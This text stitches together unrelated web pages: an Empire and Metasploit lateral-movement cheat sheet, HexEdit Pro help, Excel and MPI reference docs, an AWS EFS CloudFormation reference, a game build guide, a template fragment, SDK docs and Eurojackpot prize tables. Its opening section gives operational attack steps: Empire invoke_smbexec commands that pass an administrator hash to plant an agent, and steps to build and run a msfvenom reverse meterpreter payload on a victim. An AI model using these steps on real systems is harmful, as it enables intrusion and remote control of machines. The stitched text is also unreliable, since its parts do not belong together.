- (Empire: powershell/lateral_movement/invoke_smbexec) > info
- (Empire: powershell/lateral_movement/invoke_smbexec) > set ComputerName win10-x86
- (Empire: powershell/lateral_movement/invoke_smbexec) > set Listener http
- (Empire: powershell/lateral_movement/invoke_smbexec) > set Hash blablablajeff_adminpasswordhash
- (Empire: powershell/lateral_movement/invoke_smbexec) > set Domain corp.com
- (Empire: powershell/lateral_movement/invoke_smbexec) > execute
- BINGO! The agent was successfully deployed and we can now interact with it:
- (Empire: powershell/lateral_movement/invoke_smbexec) > agents
- (Empire: agents) > interact 4D9FH8GA
- (Empire: 4D9FH8GA) >
Switching between Empire and Metasploit- A possible integration of Metasploit and Empire can be showcased as follows:
- We use msfvenom to craft a malicious PW with a reverse meterpreter shell in it
- We setup a local meterpreter listener on localhost with Metasploit
- We then use Empire to upload the malicious PE to the Windows victim
- Finally we use Empire to execute the malicious file on the Windows victim with the Empire shell command
- And we then verify that a meterpreter session was opened on our attacker kali machine
- Connecting to an Empire agent from an existing meterpeter sesison is also simple:
- We first create a launcher with Empire
- We also set the listener in Empire
- Then we use the existing meterpeter session to upload and execute it with the upload and shell commands rispectively
- Once we have executed the launcher.bat, we will receive an agent call on our Empire listener


HexEdit Pro is a binary file editor that looks similar to many other such programs. If you are already familiar with binary files and at least one Windows word-processor or editor then you can probably use most of HexEdit Pro’s features straight away, but you should at least scan the Quick Start.
If you are not familiar with running Windows software and/or this type of program you should read the following help topics. If you are unfamiliar with binary files then you may need to read the Overview of Binary Files section too.
You may prefer to learn how to use HexEdit Pro using our new video tutorials - see http://www.hexedit.com/videos.aspx.
If you use HexEdit Pro only occasionally you will find its extensive on-line help very useful. You can usually find help at any time by pressing F1. Pressing Shift+F1 enters help mode whence you may click on a button or other object you want help on. To get help on a menu item hold the mouse over it and press F1. Dialogs also provide popup help for all their controls, which is accessed through the F1 key or the “?” button on their title bar, or by right-clicking.
Main Window
A clickable screen shot of the HexEdit Pro window is shown below. Like most Windows applications it has a main window with a menu bar and toolbars just below the title bar and a status bar at the bottom of the window. One or more binary files can be opened in the main window with a row of tabs at the top or bottom of the window showing the open files. There are also several tool windows that you can open and drag anywhere on the screen or dock to the sides of the main window.
The Title Bar shows the normal buttons on the right (minimize, close, etc). Clicking the icon on the left brings up the System Menu. The text in the title bar indicates the active file being edited. There is an asterisk (*) next to the name if the file has been modified and not yet saved.
Below the title bar is the main menu and the toolbars. Initially, with no file open, the default menu is displayed which has a minimal set of items -- to see all the menu items you need to open a file first.
By default only the Standard Toolbar and the Edit Bar are visible below the menu bar. Right-click on any toolbar to select from a list of all the toolbars. You can also select "Customize" to modify the menus or toolbars or even create new toolbars. Note that you can drag a toolbar anywhere on the screen. If you drag one near the edge of the main HexEdit Pro window then it will "dock" there.
Many toolbars include simple tools that allow quick access to powerful abilities. The Hex Address tool and Decimal Address tool allow you to quickly enter and jump to an address - but they also provide many other facilities like a history of jumps, base (radix) conversion, expression evaluation, etc. Also the Find Tool allows quick searches, the Color Scheme Tool allows you to quickly change the current color settings, etc.
There are also several tool windows (sometimes called modeless dialogs). These windows, like toolbars, can float anywhere or be docked to the sides of the main window. They include the Bookmarks window, Calculator, Properties Dialog, Find Dialog and HexEdit Pro Explorer. When floating these windows will get out of the way of the cursor so you can see what you are doing (but like most features in HexEdit Pro this can be turned off). You can show or hide any toolbar or tool window by right-clicking a toolbar and selecting from the popup menu.
At the bottom of the main window is the Status Bar which shows status information. The left side is a message area which displays a short description of menu items and toolbar buttons as you move the mouse over them. The message area also sometimes displays a progress bar while a process is executing or shows a message indicating an unusual situation that is not serious enough to warrant displaying a message dialog.
To the right of the message area are several panes or indicators showing status information. If you hover the mouse over a pane you will see a small tip window that explains its purpose. Right-clicking a pane displays a context menu of related commands. Also double-clicking many panes will toggle their mode. For example, double-clicking the REC pane will start (or stop) macro recording.
When you have several files open then there is a row of tabs showing all the open windows. By default this is shown at the top of the window below the toolbars but can also be configured to appear at the bottom (just above the status bar). The text of the tab is the file name, but you can see the full path name in a tip window if you hold the mouse over the tab. The tabs allow you to easily see what files you have open and switch between them. Right-clicking a tab displays a popup menu of relevant commands.
For further information also see:
System Menu for system options
Window menu for options to create windows and change window arrangement
Bookmark_tool a tool for jumping to bookmarks


Equivalent to clicking the Go To command on the Edit menu and then selecting the Special button. Use SELECT.SPECIAL to select groups of similar cells in one of a variety of categories.
 Value_type is available only when type_num is 2 or 3.
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These values can be added to select more than one type. The default for value_type is 23, which select all value types.
Levels is a number specifying how precedents and dependents are selected. Levels is available only when type_num is 9 or 10. The default is 1.
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The operator MPI_MINLOC is used to compute a global minimum and also an index attached to the minimum value. MPI_MAXLOC similarly computes a global maximum and index. One application of these is to compute a global minimum (maximum) and the rank of the process containing this value.
The operation that defines MPI_MAXLOC is:
where
and
MPI_MINLOC is defined similarly:
where
and
Both operations are associative and commutative. Note that if MPI_MAXLOC is applied to reduce a sequence of pairs (u0, 0), (u1, 1) , ..., (un-1 , n-1), then the value returned is (u , r), where and r is the index of the first global maximum in the sequence. Thus, if each process supplies a value and its rank within the group, then a reduce operation with op = MPI_MAXLOC will return the maximum value and the rank of the first process with that value. Similarly, MPI_MINLOC can be used to return a minimum and its index. More generally, MPI_MINLOC computes a lexicographic minimum, where elements are ordered according to the first component of each pair, and ties are resolved according to the second component.
The reduce operation is defined to operate on arguments that consist of a pair: value and index. For both Fortran and C, types are provided to describe the pair. The potentially mixed-type nature of such arguments is a problem in Fortran. The problem is circumvented, for Fortran, by having the MPI-provided type consist of a pair of the same type as value, and coercing the index to this type also. In C, the MPI-provided pair type has distinct types and the index is an int.
In order to use MPI_MINLOC and MPI_MAXLOC in a reduce operation, one must provide a datatype argument that represents a pair (value and index). MPI provides nine such predefined datatypes. The operations MPI_MAXLOC and MPI_MINLOC can be used with each of the following datatypes.
The datatype MPI_2REAL is as if defined by the following (see Section Derived Datatypes ).
MPI_TYPE_CONTIGUOUS(2, MPI_REAL, MPI_2REAL)Similar statements apply for MPI_2INTEGER, MPI_2DOUBLE_PRECISION, and MPI_2INT.
The datatype MPI_FLOAT_INT is as if defined by the following sequence of instructions.
Similar statements apply for MPI_LONG_INT and MPI_DOUBLE_INT.
The following examples use intracommunicators.
Example
Each process has an array of 30 doubles, in C. For each
of the 30 locations, compute the value and rank of the process containing
the largest value.
... /* each process has an array of 30 double: ain[30] */ double ain[30], aout[30]; int ind[30]; struct { double val; int rank; } in[30], out[30]; int i, myrank, root; MPI_Comm_rank(comm, &myrank); for (i=0; i<30; ++i) { in[i].val = ain[i]; in[i].rank = myrank; } MPI_Reduce( in, out, 30, MPI_DOUBLE_INT, MPI_MAXLOC, root, comm ); /* At this point, the answer resides on process root */ if (myrank == root) { /* read ranks out */ for (i=0; i<30; ++i) { aout[i] = out[i].val; ind[i] = out[i].rank; } }
Example
Same example, in Fortran.
... ! each process has an array of 30 double: ain(30) DOUBLE PRECISION ain(30), aout(30) INTEGER ind(30) DOUBLE PRECISION in(2,30), out(2,30) INTEGER i, myrank, root, ierr CALL MPI_COMM_RANK(comm, myrank, ierr) DO I=1, 30 in(1,i) = ain(i) in(2,i) = myrank ! myrank is coerced to a double END DO CALL MPI_REDUCE( in, out, 30, MPI_2DOUBLE_PRECISION, MPI_MAXLOC, root, comm, ierr ) ! At this point, the answer resides on process root IF (myrank .EQ. root) THEN ! read ranks out DO I= 1, 30 aout(i) = out(1,i) ind(i) = out(2,i) ! rank is coerced back to an integer END DO END IF
Example
Each process has a non-empty array of values.
Find the minimum global value, the rank of the process that holds it
and its index on this process.
Rationale.
The definition of MPI_MINLOC and MPI_MAXLOC given
here has the advantage that it does not require any special-case
handling of these two operations: they are handled like any other
reduce operation. A programmer can provide his or her own definition
of MPI_MAXLOC and MPI_MINLOC, if so desired.
The disadvantage is that values and indices have to be first
interleaved, and that indices and values have to be coerced to the
same type, in Fortran.
( End of rationale.)


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AWS::EFS::FileSystem
The AWS::EFS::FileSystem
resource creates a new, empty file system in
Amazon Elastic File System (Amazon EFS).  For more information, see the
CreateFileSystem API in the
Amazon Elastic File System User Guide.
Syntax
To declare this entity in your AWS CloudFormation template, use the following syntax:
JSON
{ "Type" : "AWS::EFS::FileSystem", "Properties" : { "Encrypted" :
Boolean
, "FileSystemTags" : [FileSystemTags
, ... ], "KmsKeyId" :String
, "PerformanceMode" :String
, "ProvisionedThroughputInMibps" :Double
, "ThroughputMode" :String
} }
YAML
Type: AWS::EFS::FileSystem Properties: Encrypted:
Boolean
FileSystemTags: -FileSystemTags
KmsKeyId:String
PerformanceMode:String
ProvisionedThroughputInMibps:Double
ThroughputMode:String
Properties
FileSystemTags
-
Tags to associate with the file system.
Required: No
Type: Amazon Elastic File System FileSystem FileSystemTags
Update requires: No interruption
Encrypted
-
A boolean value that, if true, creates an encrypted file system. For more information, see CreateFileSystem in the Amazon Elastic File System User Guide.
Required: No
Type: Boolean
Update requires: Replacement
KmsKeyId
-
The ID of the AWS KMS customer master key (CMK) to use to protect the encrypted file system. This parameter is only required if you want to use a non-default CMK. For more information, see CreateFileSystem in the Amazon Elastic File System User Guide.
Required: Conditional. This parameter is required if you use a non-default CMK.
Type: String
Update requires: Replacement
PerformanceMode
-
The performance mode of the file system. For valid values, see the
PerformanceMode
parameter for the CreateFileSystem action in the Amazon Elastic File System User Guide.For more information about performance modes, see Amazon EFS Performance in the Amazon Elastic File System User Guide.
Required: No
Type: String
Update requires: Replacement
ProvisionedThroughputInMibps
-
The throughput, measured in MiB/s, that you want to provision for a file system that you're creating. The limit on throughput is 1024 MiB/s. You can get these limits increased by contacting AWS Support. For more information, see Amazon EFS Limits That You Can Increase in the Amazon Elastic File System User Guide.
Valid Range: Minimum value of 0.0.
Required: No
Type: Double
Update requires: No interruption
ThroughputMode
-
The throughput mode for the file system to be created. There are two throughput modes to choose from for your file system:
bursting
andprovisioned
. You can decrease your file system's throughput in Provisioned Throughput mode or change between the throughput modes as long as it’s been more than 24 hours since the last decrease or throughput mode change.Valid Values:
bursting
andprovisioned
.Required: No
Type: String
Update requires: No interruption
Return Value
Ref
When the logical ID of this resource is provided to the Ref
intrinsic function, Ref
returns the resource ID, such as
fs-47a2c22e
.
For more information about using the Ref
function, see Ref.
Example
The following example declares an encrypted file system:
JSON
{ "Resources": { "filesystem": { "Type": "AWS::EFS::FileSystem", "Properties": { "Encrypted": true, "KmsKeyId": { "Fn::GetAtt": [ "key", "Arn" ] } } }, "key": { "Type": "AWS::KMS::Key", "Properties": { "KeyPolicy": { "Version": "2012-10-17", "Id": "key-default-1", "Statement": [ { "Sid": "Allow administration of the key", "Effect": "Allow", "Principal": { "AWS": { "Fn::Join": [ "", [ "arn:aws:iam::", { "Ref": "AWS::AccountId" }, ":root" ] ] } }, "Action": [ "kms:*" ], "Resource": "*" } ] } } } }, "Outputs": { "KeyId": { "Value": { "Fn::GetAtt": [ "key", "Arn" ] } } } }
YAML
Resources: filesystem: Type: AWS::EFS::FileSystem Properties: Encrypted: true KmsKeyId: !GetAtt - key - Arn key: Type: AWS::KMS::Key Properties: KeyPolicy: Version: 2012-10-17 Id: key-default-1 Statement: - Sid: Allow administration of the key Effect: Allow Principal: AWS: !Join - '' - - 'arn:aws:iam::' - !Ref 'AWS::AccountId' - ':root' Action: - 'kms:*' Resource: '*' Outputs: KeyId: Value: !GetAtt - key - Arn
Additional Resources
For a complete sample template, see Amazon Elastic File System Sample Template.


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by requnix
Nightblade + Oathkeeper = Dervish
Faction of Choice: Kymon’s Chosen and Cult of Dreeg
Final Level 100 Stat Distribution: All in Physique
This build starts out a bit slow as we whack away with our default attack and
First, always make sure you have your Buffs up:
The General Play Technique is to
Survival revolves around top tier resistances, armor absorption (we get 100% with this build and the right gear) and simply killing your targets quickly and efficiently. Hit and run techniques are also great with this build as we can whack a boss to DoT them and then run away to avoid attacks while the damage is still ticking.
Rotation for Trash:
Rotation for Bosses:
This build utilizes bonuses from the Mythical Venomblade (Vileblade Pact) set (Weapons, Helm and Jacket) with two pieces from the Perdition set (Shoulders and Gloves) to help with armor and resistances.
There are a ton of acid and poison weapons and other items you can use as you level up. These will easily carry you into Ultimate so you can begin to farm the end-game sets.
One important note. Vitriolic Gallstones are fantastic and will put your damage through the roof! Make sure you always have one in each of your weapons once you hit level 20. Remember, you have to toggle the buff – make sure each one is always on! They stack!
| Level | Item | Note |
|---|---|---|
| 8/50/70 | Slith Tongue | 1H |
| 18 | Bone Talisman | Relic |
| 20 | Vitriolic Gallstone | Component |
| 21 | Hound's Bite | 1H |
| 30 | Manticore Longsword | 1H |
| 35 | Ivory Talisman | Relic |
| 35 | Rhowari Gavel | 1H Rovers |
| 35 | Rift Scourge Slicer | 1H |
| 40 | Perdition | Set |
| 40 | Fused Carapace Armor | Chest |
| 50 | Sacred Talisman | Relic |
| 50 | Venomlash | 1H |
| 50 | Venomspine Greaves | Boots |
| 50 | Venomancer's Rainment | Chest |
| 58 | Empowered Final March | Boots |
| 58 | Scion of Noxious Wounds | 1H |
| 60 | Meditation | Relic |
| 65 | Murmur's Kiss | Belt |
| 75 | Razor of the Venomblade | 1H |
| 75 | Fist of the Venomblade | 1H |
| 84 | Dreeg Cleaver | 1H Cult of Dreeg |
Soft Max means you want that skill at that level including bonuses from items! Once you get better gear, that gives more bonuses, you can pull out points from that skill.
Feel free to put the rest of the points where you would like to finalize the tree.


Championship #{{ data.championship.id }}
{{ data.championship.date|date('d/m/Y H:i') }}
{% if data.championship.finished == 1 %}
{% else %}
{% endif %}
{% include 'championships/partials/stage-player-info.html' %}
{% include 'championships/partials/stage.html' %}
{% if data.championship.finished == 0 %}
{% include 'championships/partials/new-stage.html' %}
{% endif %}


|
UMI3D Unity SDK
2.5.b.221125
A UMI3D sdk implementation using Unity
|
Manager for the UMI3D server. More...
Public Member Functions | |
| virtual void | Init () |
| Initialize the server. More... | |
| virtual ForgeConnectionDto | ToDto () |
| Return a ForgeConnectionDto with essential info for connection. Warning : returns null. More... | |
| virtual void | NotifyUserChanged (UMI3DUser user) |
| Notify that the user has changed. More... | |
| virtual HashSet< UMI3DUser > | UserSet () |
| Get the set of all UMI3DUser instances in the environment. More... | |
| virtual HashSet< UMI3DUser > | UserSetWhenHasJoined () |
| Get the set of all UMI3DUser instances in the environment that have already joined. More... | |
| virtual IEnumerable< UMI3DUser > | Users () |
| Get the collection of all UMI3DUser instances in the environment. More... | |
| virtual void | NotifyUserStatusChanged (UMI3DUser user, StatusType status) |
| Call to notify a user status change. More... | |
| virtual float | ReturnServerTime () |
| Get the current server Unity time in seconds since it has started. More... | |
Static Public Member Functions | |
| static bool | IsInDataRepository (string path) |
| static bool | IsInPrivateRepository (string path) |
| static bool | IsInPublicRepository (string path) |
| static string | GetHttpUrl () |
| Return the URL of the HTTP Server. More... | |
| static string | GetResourcesUrl () |
| static void | Dispatch (Transaction transaction) |
| Send a Transaction to all clients. More... | |
| static void | Dispatch (DispatchableRequest dispatchableRequest) |
| Send a DispatchableRequest to all clients. More... | |
Public Attributes | |
| UMI3DUserEvent | OnUserJoin = new UMI3DUserEvent() |
| UMI3DUserEvent | OnUserRegistered = new UMI3DUserEvent() |
| UMI3DUserEvent | OnUserCreated = new UMI3DUserEvent() |
| UMI3DUserEvent | OnUserRecreated = new UMI3DUserEvent() |
| UMI3DUserEvent | OnUserReady = new UMI3DUserEvent() |
| UMI3DUserEvent | OnUserAway = new UMI3DUserEvent() |
| UMI3DUserEvent | OnUserMissing = new UMI3DUserEvent() |
| UMI3DUserEvent | OnUserActive = new UMI3DUserEvent() |
| UMI3DUserEvent | OnUserLeave = new UMI3DUserEvent() |
| UMI3DUserEvent | OnUserUnregistered = new UMI3DUserEvent() |
Static Public Attributes | |
| static string | dataPath = "../data/" |
| static string | publicDataPath = "/public" |
| static string | privateDataPath = "/private" |
Protected Member Functions | |
| virtual string | _GetHttpUrl () |
| virtual string | _GetResourcesUrl () |
| virtual void | LookForMissing (UMI3DUser user) |
| Looks for a missing user. More... | |
| virtual void | _Dispatch (Transaction transaction) |
| virtual void | _Dispatch (DispatchableRequest dispatchable) |
Protected Attributes | |
| string | ip = "localhost" |
| IP of the UMI3D server. More... | |
Properties | |
| static string | publicRepository [get] |
| static string | privateRepository [get] |
| static string | dataRepository [get] |
Manager for the UMI3D server.
Management of users is performed by the server.
|
protectedvirtual |
Reimplemented in umi3d.edk.collaboration.UMI3DCollaborationServer.
|
protectedvirtual |
Reimplemented in umi3d.edk.collaboration.UMI3DCollaborationServer.
|
protectedvirtual |
Reimplemented in umi3d.edk.collaboration.UMI3DCollaborationServer.
|
protectedvirtual |
Reimplemented in umi3d.edk.collaboration.UMI3DCollaborationServer.
|
static |
Send a DispatchableRequest to all clients.
| transaction |
|
static |
Send a Transaction to all clients.
| transaction |
|
static |
Return the URL of the HTTP Server.
|
static |
|
virtual |
Initialize the server.
Reimplemented in umi3d.edk.collaboration.UMI3DCollaborationServer.
|
static |
|
static |
|
static |
|
protectedvirtual |
Looks for a missing user.
| user | User to check the presence. |
Reimplemented in umi3d.edk.collaboration.UMI3DCollaborationServer.
|
virtual |
Notify that the user has changed.
| user |
Reimplemented in umi3d.edk.collaboration.UMI3DCollaborationServer.
|
virtual |
Call to notify a user status change.
| user | User that get its status updated |
| status | New status |
Reimplemented in umi3d.edk.collaboration.UMI3DCollaborationServer.
|
virtual |
Get the current server Unity time in seconds since it has started.
Reimplemented in umi3d.edk.collaboration.UMI3DCollaborationServer.
|
virtual |
Return a ForgeConnectionDto with essential info for connection. Warning : returns null.
Reimplemented in umi3d.edk.collaboration.UMI3DCollaborationServer.
|
virtual |
Get the collection of all UMI3DUser instances in the environment.
Reimplemented in umi3d.edk.collaboration.UMI3DCollaborationServer.
|
virtual |
Get the set of all UMI3DUser instances in the environment.
Reimplemented in umi3d.edk.collaboration.UMI3DCollaborationServer.
|
virtual |
Get the set of all UMI3DUser instances in the environment that have already joined.
Reimplemented in umi3d.edk.collaboration.UMI3DCollaborationServer.
|
static |
|
protected |
IP of the UMI3D server.
Default to "Localhost.
| UMI3DUserEvent umi3d.edk.UMI3DServer.OnUserActive = new UMI3DUserEvent() |
| UMI3DUserEvent umi3d.edk.UMI3DServer.OnUserAway = new UMI3DUserEvent() |
| UMI3DUserEvent umi3d.edk.UMI3DServer.OnUserCreated = new UMI3DUserEvent() |
| UMI3DUserEvent umi3d.edk.UMI3DServer.OnUserJoin = new UMI3DUserEvent() |
| UMI3DUserEvent umi3d.edk.UMI3DServer.OnUserLeave = new UMI3DUserEvent() |
| UMI3DUserEvent umi3d.edk.UMI3DServer.OnUserMissing = new UMI3DUserEvent() |
| UMI3DUserEvent umi3d.edk.UMI3DServer.OnUserReady = new UMI3DUserEvent() |
| UMI3DUserEvent umi3d.edk.UMI3DServer.OnUserRecreated = new UMI3DUserEvent() |
| UMI3DUserEvent umi3d.edk.UMI3DServer.OnUserRegistered = new UMI3DUserEvent() |
| UMI3DUserEvent umi3d.edk.UMI3DServer.OnUserUnregistered = new UMI3DUserEvent() |
|
static |
|
static |
|
staticget |
|
staticget |
|
staticget |


Eurojackpot results for Friday 9th November 2018
The winning numbers for the 45th Eurojackpot draw in 2018 that took place on Friday 9th November at 21:00 CEST (20:00 GMT) were:
Winners
Winners
Amount
Slovenian Prize Breakdown
View prize breakdowns for other countries| Numbers Matched | Prize Per Winner | Winners from Slovenia | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
€90,000,000 | 0 | €0 | 0 |
|
Match 5 and 1 Euro Number |
€7,529,076.40 | 0 | €0 | 3 |
|
Match 5 |
€120,638.70 | 0 | €0 | 10 |
|
Match 4 and 2 Euro Numbers |
€3,323.30 | 1 | €3,323.30 | 121 |
|
Match 4 and 1 Euro Number |
€245.30 | 10 | €2,453 | 1,475 |
|
Match 4 |
€122.60 | 19 | €2,329.40 | 2,295 |
|
Match 3 and 2 Euro Numbers |
€55 | 42 | €2,310 | 4,383 |
|
Match 2 and 2 Euro Numbers |
€19.40 | 644 | €12,493.60 | 64,070 |
|
Match 3 and 1 Euro Number |
€18.40 | 660 | €12,144 | 65,527 |
|
Match 3 |
€16.40 | 1,033 | €16,941.20 | 105,230 |
|
Match 1 and 2 Euro Numbers |
€8.70 | 3,596 | €31,285.20 | 356,979 |
|
Match 2 and 1 Euro Number |
€8 | 9,907 | €79,256 | 959,892 |
|
Total |
- | 15,912 | €162,535.70 | 1,559,985 |
Eurojackpot prizes in Slovenia must be claimed within 90 days of the draw date, so tickets purchased for this draw were valid until Thursday 7th February 2019.
Additional Draw Information
In total there were 40,212,913 entries into this draw from all participating countries.
Draw Number: 45
European Prize Breakdown
| Numbers Matched | Prize Per Winner | Winners from Croatia | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
kn668,000,000 | 0 | kn0 | 0 |
|
Match 5 and 1 Euro Number |
kn55,950,802.86 | 0 | kn0 | 3 |
|
Match 5 |
kn896,502.01 | 0 | kn0 | 10 |
|
Match 4 and 2 Euro Numbers |
kn24,696.43 | 7 | kn172,875.01 | 121 |
|
Match 4 and 1 Euro Number |
kn1,822.90 | 20 | kn36,458 | 1,475 |
|
Match 4 |
kn911.08 | 13 | kn11,844.04 | 2,295 |
|
Match 3 and 2 Euro Numbers |
kn408.72 | 58 | kn23,705.76 | 4,383 |
|
Match 2 and 2 Euro Numbers |
kn144.17 | 858 | kn123,697.86 | 64,070 |
|
Match 3 and 1 Euro Number |
kn136.74 | 637 | kn87,103.38 | 65,527 |
|
Match 3 |
kn121.87 | 1,021 | kn124,429.27 | 105,230 |
|
Match 1 and 2 Euro Numbers |
kn64.65 | 5,543 | kn358,354.95 | 356,979 |
|
Match 2 and 1 Euro Number |
kn59.45 | 11,171 | kn664,115.95 | 959,892 |
|
Total |
- | 19,328 | kn1,602,584.22 | 1,559,985 |
Eurojackpot prizes in Croatia must be claimed within 60 days of the draw date, so tickets purchased for this draw were valid until Tuesday 8th January 2019.
The estimated jackpot advertised in Croatia prior to the draw was kn668,000,000.
| Numbers Matched | Prize Per Winner | Winners from Czech Republic | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
Kc2,320,000,000 | 0 | Kc0 | 0 |
|
Match 5 and 1 Euro Number |
Kc195,266,596 | 0 | Kc0 | 3 |
|
Match 5 |
Kc3,128,764 | 0 | Kc0 | 10 |
|
Match 4 and 2 Euro Numbers |
Kc86,189 | 4 | Kc344,756 | 121 |
|
Match 4 and 1 Euro Number |
Kc6,361 | 21 | Kc133,581 | 1,475 |
|
Match 4 |
Kc3,179 | 45 | Kc143,055 | 2,295 |
|
Match 3 and 2 Euro Numbers |
Kc1,426 | 67 | Kc95,542 | 4,383 |
|
Match 2 and 2 Euro Numbers |
Kc503 | 1,034 | Kc520,102 | 64,070 |
|
Match 3 and 1 Euro Number |
Kc477 | 1,248 | Kc595,296 | 65,527 |
|
Match 3 |
Kc425 | 1,894 | Kc804,950 | 105,230 |
|
Match 1 and 2 Euro Numbers |
Kc225 | 6,334 | Kc1,425,150 | 356,979 |
|
Match 2 and 1 Euro Number |
Kc207 | 16,922 | Kc3,502,854 | 959,892 |
|
Total |
- | 27,569 | Kc7,565,286 | 1,559,985 |
Eurojackpot prizes in Czech Republic must be claimed within 35 days of the draw date, so tickets purchased for this draw were valid until Friday 14th December 2018.
The estimated jackpot advertised in Czech Republic prior to the draw was Kc2,320,000,000.
| Numbers Matched | Prize Per Winner | Winners from Denmark | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
kr.570,000,000 | 0 | kr.0 | 0 |
|
Match 5 and 1 Euro Number |
kr.47,738,063 | 0 | kr.0 | 3 |
|
Match 5 |
kr.769,101 | 1 | kr.769,101 | 10 |
|
Match 4 and 2 Euro Numbers |
kr.21,216 | 9 | kr.190,944 | 121 |
|
Match 4 and 1 Euro Number |
kr.1,593 | 131 | kr.208,683 | 1,475 |
|
Match 4 |
kr.811 | 217 | kr.175,987 | 2,295 |
|
Match 3 and 2 Euro Numbers |
kr.380 | 322 | kr.122,360 | 4,383 |
|
Match 2 and 2 Euro Numbers |
kr.145 | 4,558 | kr.660,910 | 64,070 |
|
Match 3 and 1 Euro Number |
kr.138 | 5,161 | kr.712,218 | 65,527 |
|
Match 3 |
kr.123 | 8,536 | kr.1,049,928 | 105,230 |
|
Match 1 and 2 Euro Numbers |
kr.65 | 24,237 | kr.1,575,405 | 356,979 |
|
Match 2 and 1 Euro Number |
kr.60 | 71,630 | kr.4,297,800 | 959,892 |
|
Total |
- | 114,802 | kr.9,763,336 | 1,559,985 |
Eurojackpot prizes in Denmark must be claimed within a set period of time depending on how much you have won. Visit the How to Claim page to find specific claim periods, with some prizes needing to be claimed within 90 days of the draw (valid until Thursday 7th February 2019).
The estimated jackpot advertised in Denmark prior to the draw was kr.570,000,000.
| Numbers Matched | Prize Per Winner | Winners from Estonia | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
€90,000,000 | 0 | €0 | 0 |
|
Match 5 and 1 Euro Number |
€7,529,076.40 | 0 | €0 | 3 |
|
Match 5 |
€120,638.70 | 0 | €0 | 10 |
|
Match 4 and 2 Euro Numbers |
€3,323.30 | 2 | €6,646.60 | 121 |
|
Match 4 and 1 Euro Number |
€245.30 | 9 | €2,207.70 | 1,475 |
|
Match 4 |
€122.60 | 14 | €1,716.40 | 2,295 |
|
Match 3 and 2 Euro Numbers |
€55 | 21 | €1,155 | 4,383 |
|
Match 2 and 2 Euro Numbers |
€19.40 | 386 | €7,488.40 | 64,070 |
|
Match 3 and 1 Euro Number |
€18.40 | 370 | €6,808 | 65,527 |
|
Match 3 |
€16.40 | 631 | €10,348.40 | 105,230 |
|
Match 1 and 2 Euro Numbers |
€8.70 | 2,124 | €18,478.80 | 356,979 |
|
Match 2 and 1 Euro Number |
€8 | 5,569 | €44,552 | 959,892 |
|
Total |
- | 9,126 | €99,401.30 | 1,559,985 |
Eurojackpot prizes in Estonia must be claimed within 90 days of the draw date, so tickets purchased for this draw were valid until Thursday 7th February 2019.
The estimated jackpot advertised in Estonia prior to the draw was €90,000,000.
| Numbers Matched | Prize Per Winner | Winners from Finland | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
€90,000,000 | 0 | €0 | 0 |
|
Match 5 and 1 Euro Number |
€7,529,076.40 | 0 | €0 | 3 |
|
Match 5 |
€120,638.70 | 1 | €120,638.70 | 10 |
|
Match 4 and 2 Euro Numbers |
€3,323.30 | At present this information is not released by the lottery operator of Finland | 121 | |
|
Match 4 and 1 Euro Number |
€245.30 | 1,475 | ||
|
Match 4 |
€122.60 | 2,295 | ||
|
Match 3 and 2 Euro Numbers |
€55 | 4,383 | ||
|
Match 2 and 2 Euro Numbers |
€19.40 | 64,070 | ||
|
Match 3 and 1 Euro Number |
€18.40 | 65,527 | ||
|
Match 3 |
€16.40 | 105,230 | ||
|
Match 1 and 2 Euro Numbers |
€8.70 | 356,979 | ||
|
Match 2 and 1 Euro Number |
€8 | 959,892 | ||
|
Total |
- | 1,559,985 |
Eurojackpot prizes in Finland must be claimed within 365 days of the draw date, so tickets purchased for this draw are valid until Saturday 9th November 2019.
The estimated jackpot advertised in Finland prior to the draw was €90,000,000.
| Numbers Matched | Prize Per Winner | Winners from Germany | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
€90,000,000 | 0 | €0 | 0 |
|
Match 5 and 1 Euro Number |
€7,529,076.40 | 3 | €22,587,229.20 | 3 |
|
Match 5 |
€120,638.70 | 6 | €723,832.20 | 10 |
|
Match 4 and 2 Euro Numbers |
€3,323.30 | At present this information is not released by the lottery operator of Germany | 121 | |
|
Match 4 and 1 Euro Number |
€245.30 | 1,475 | ||
|
Match 4 |
€122.60 | 2,295 | ||
|
Match 3 and 2 Euro Numbers |
€55 | 4,383 | ||
|
Match 2 and 2 Euro Numbers |
€19.40 | 64,070 | ||
|
Match 3 and 1 Euro Number |
€18.40 | 65,527 | ||
|
Match 3 |
€16.40 | 105,230 | ||
|
Match 1 and 2 Euro Numbers |
€8.70 | 356,979 | ||
|
Match 2 and 1 Euro Number |
€8 | 959,892 | ||
|
Total |
- | 1,559,985 |
Eurojackpot prizes in Germany must be claimed within 3 years of the draw date, so tickets purchased for this draw are valid until Tuesday 9th November 2021.
The estimated jackpot advertised in Germany prior to the draw was €90,000,000.
| Numbers Matched | Prize Per Winner | Winners from Hungary | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
€90,000,000 | 0 | €0 | 0 |
|
Match 5 and 1 Euro Number |
€7,529,076.40 | 0 | €0 | 3 |
|
Match 5 |
Ft34,864,585 | 1 | Ft34,864,585 | 10 |
|
Match 4 and 2 Euro Numbers |
Ft960,435 | 2 | Ft1,920,870 | 121 |
|
Match 4 and 1 Euro Number |
Ft70,890 | 22 | Ft1,559,580 | 1,475 |
|
Match 4 |
Ft35,430 | 38 | Ft1,346,340 | 2,295 |
|
Match 3 and 2 Euro Numbers |
Ft15,895 | 67 | Ft1,064,965 | 4,383 |
|
Match 2 and 2 Euro Numbers |
Ft5,605 | 1,040 | Ft5,829,200 | 64,070 |
|
Match 3 and 1 Euro Number |
Ft5,320 | 1,107 | Ft5,889,240 | 65,527 |
|
Match 3 |
Ft4,740 | 1,659 | Ft7,863,660 | 105,230 |
|
Match 1 and 2 Euro Numbers |
Ft2,515 | 6,361 | Ft15,997,915 | 356,979 |
|
Match 2 and 1 Euro Number |
Ft2,310 | 16,992 | Ft39,251,520 | 959,892 |
|
Total |
- | 27,289 | Ft115,587,875 | 1,559,985 |
